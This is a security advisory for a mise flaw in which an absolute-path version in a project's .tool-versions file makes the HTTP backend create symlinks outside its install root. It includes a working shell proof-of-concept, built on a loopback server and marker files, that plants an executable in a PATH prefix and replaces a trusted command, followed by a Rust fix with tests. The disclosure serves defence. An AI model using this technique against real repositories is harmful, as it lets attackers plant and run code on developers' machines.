CVE-2026-54557
mise HTTP backend uses raw version path for install symlink destination
Description
## Summary The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, `PathBuf::join` discards the intended mise installs root. A repository-controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. With `bin_path`, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to `PATH`. The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local `PATH` prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted `PATH` command. ## Affected Code In `src/backend/http.rs`, `create_install_symlink()` derives the destination path from raw `tv.version`: ```rust let version_name = if tv.version == "latest" || tv.version.is_empty() { &cache_key[..7.min(cache_key.len())] } else { &tv.version }; let install_path = tv.ba().installs_path.join(version_name); ``` `ToolVersion::tv_pathname()` already sanitizes `:` and `/` for filesystem version directory names, but this HTTP backend path does not use it. ## Impact Proven: - Outside-root symlink creation from a repository-controlled `.tool-versions` entry. - Executable symlink materialization under an attacker-selected absolute prefix when `bin_path` is configured. - The executable symlink can be run if that prefix's `bin` directory is on `PATH`. - Replacement of a preexisting command in a trusted `PATH` prefix in a local workflow-chain model, followed by execution of the replaced command by name. Not claimed: - `mise install` does not automatically execute the placed binary in the reproducer. - Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior. - Credential theft is not claimed. ## Why This Crosses A Boundary `.tool-versions` is an asdf-compatible project file and is parsed without the `mise.toml` trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation. The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example: ```text $MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/... ``` The observed behavior instead allows the project version string to choose an absolute install destination. ## Reproduction The script below performs three local checks: 1. It creates a `.tool-versions` entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path. 2. It creates a second HTTP backend entry with `bin_path=bin` and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's `bin` directory is on `PATH`. 3. It creates a preexisting trusted command in a user-local `PATH` prefix, runs `mise install` from a project `.tool-versions` file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place. The script uses a loopback HTTP server and temporary directories only. ```sh #!/bin/sh set -eu if ! command -v mise >/dev/null 2>&1; then echo "mise must be on PATH" >&2 exit 1 fi if ! command -v python3 >/dev/null 2>&1; then echo "python3 must be on PATH for the loopback HTTP server" >&2 exit 1 fi ROOT="$(mktemp -d)" OUT="$ROOT/out" DATA="$ROOT/data" CACHE="$ROOT/cache" STATE="$ROOT/state" CONFIG="$ROOT/config" WWW="$ROOT/www" cleanup() { if [ -n "${SERVER_PID:-}" ]; then kill "$SERVER_PID" 2>/dev/null || true fi rm -rf "$ROOT" } trap cleanup EXIT mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW" cat > "$WWW/payload" <<'PAYLOAD' #!/bin/sh if [ -n "${CHAIN_MARKER:-}" ]; then echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER" else echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER" fi PAYLOAD chmod +x "$WWW/payload" ( cd "$WWW" python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1 ) & SERVER_PID=$! sleep 1 PROJECT1="$ROOT/project-host-write" mkdir -p "$PROJECT1" cat > "$PROJECT1/.tool-versions" <<EOF1 http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link EOF1 ( cd "$PROJECT1" MISE_DATA_DIR="$DATA" \ MISE_CACHE_DIR="$CACHE" \ MISE_STATE_DIR="$STATE" \ MISE_CONFIG_DIR="$CONFIG" \ MISE_YES=1 \ mise install --yes ) if [ ! -L "$OUT/owned-link" ]; then echo "FAIL: outside symlink was not created" >&2 exit 1 fi PROJECT2="$ROOT/project-bin-path" mkdir -p "$PROJECT2" cat > "$PROJECT2/.tool-versions" <<EOF2 http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix EOF2 rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG" mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG" ( cd "$PROJECT2" MISE_DATA_DIR="$DATA" \ MISE_CACHE_DIR="$CACHE" \ MISE_STATE_DIR="$STATE" \ MISE_CONFIG_DIR="$CONFIG" \ MISE_YES=1 \ mise install --yes ) if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then echo "FAIL: executable symlink was not created under selected prefix" >&2 exit 1 fi MARKER="$OUT/executed-marker" MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \ PATH="$OUT/selected-prefix/bin:$PATH" \ ownedcmd if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then echo "FAIL: executable symlink did not run" >&2 exit 1 fi echo "VULNERABLE_BEHAVIOR_CONFIRMED" echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")" echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")" run_path_chain_case() { case_name="$1" version="$2" expected="$3" CASE_ROOT="$ROOT/$case_name" HOME_DIR="$CASE_ROOT/home" CASE_DATA="$CASE_ROOT/data" CASE_CACHE="$CASE_ROOT/cache" CASE_STATE="$CASE_ROOT/state" CASE_CONFIG="$CASE_ROOT/config" CASE_PROJECT="$CASE_ROOT/project" CASE_MARKER="$CASE_ROOT/marker" if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then version="$HOME_DIR/.local" fi mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT" cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE' #!/bin/sh echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER" SAFE chmod +x "$HOME_DIR/.local/bin/trustedcmd" cat > "$CASE_PROJECT/.tool-versions" <<EOF3 http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version EOF3 ( cd "$CASE_PROJECT" HOME="$HOME_DIR" \ MISE_DATA_DIR="$CASE_DATA" \ MISE_CACHE_DIR="$CASE_CACHE" \ MISE_STATE_DIR="$CASE_STATE" \ MISE_CONFIG_DIR="$CASE_CONFIG" \ MISE_YES=1 \ mise install --yes ) CHAIN_MARKER="$CASE_MARKER" \ PATH="$HOME_DIR/.local/bin:$PATH" \ trustedcmd observed="$(cat "$CASE_MARKER")" if [ "$observed" != "$expected" ]; then echo "FAIL: $case_name expected $expected but saw $observed" >&2 exit 1 fi if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2 exit 1 fi } run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND echo "PATH_CHAIN_CONFIRMED" ``` Expected vulnerable markers: ```text VULNERABLE_BEHAVIOR_CONFIRMED PATH_CHAIN_CONFIRMED ``` ## Candidate Fix Use `tv.tv_pathname()` for non-latest HTTP install symlink names, preserving the current content-addressed behavior for `latest` or empty versions. ```diff diff --git a/src/backend/http.rs b/src/backend/http.rs index 4e4e972..18cf8a1 100644 --- a/src/backend/http.rs +++ b/src/backend/http.rs @@ -518,12 +518,12 @@ impl HttpBackend { // Determine version name for install path let version_name = if tv.version == "latest" || tv.version.is_empty() { - &cache_key[..7.min(cache_key.len())] // Content-based versioning + cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning } else { - &tv.version + tv.tv_pathname() }; - let install_path = tv.ba().installs_path.join(version_name); + let install_path = tv.ba().installs_path.join(&version_name); // Clean up existing install if install_path.exists() { @@ -839,3 +839,51 @@ impl Backend for HttpBackend { } } } + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::args::{BackendArg, BackendResolution}; + use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions}; + + fn http_test_tv(version: &str) -> ToolVersion { + let backend = Arc::new(BackendArg::new_raw( + "http-absolute-version".to_string(), + Some("http:absolute-version".to_string()), + "absolute-version".to_string(), + None, + BackendResolution::new(true), + )); + let request = ToolRequest::Version { + backend, + version: version.to_string(), + options: ToolVersionOptions::default(), + source: ToolSource::Argument, + }; + ToolVersion::new(request, version.to_string()) + } + + #[test] + fn install_symlink_path_uses_sanitized_version_pathname() { + let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix"); + + assert_eq!( + tv.tv_pathname(), + "-outside-root-mise-http-version-out-selected-prefix" + ); + assert!(!Path::new(&tv.tv_pathname()).is_absolute()); + } + + #[test] + fn latest_install_symlink_still_uses_content_version() { + let tv = http_test_tv("latest"); + let cache_key = "abcdef123456"; + let version_name = if tv.version == "latest" || tv.version.is_empty() { + cache_key[..7.min(cache_key.len())].to_string() + } else { + tv.tv_pathname() + }; + + assert_eq!(version_name, "abcdef1"); + } +} ``` Reporter: JUNYI LIU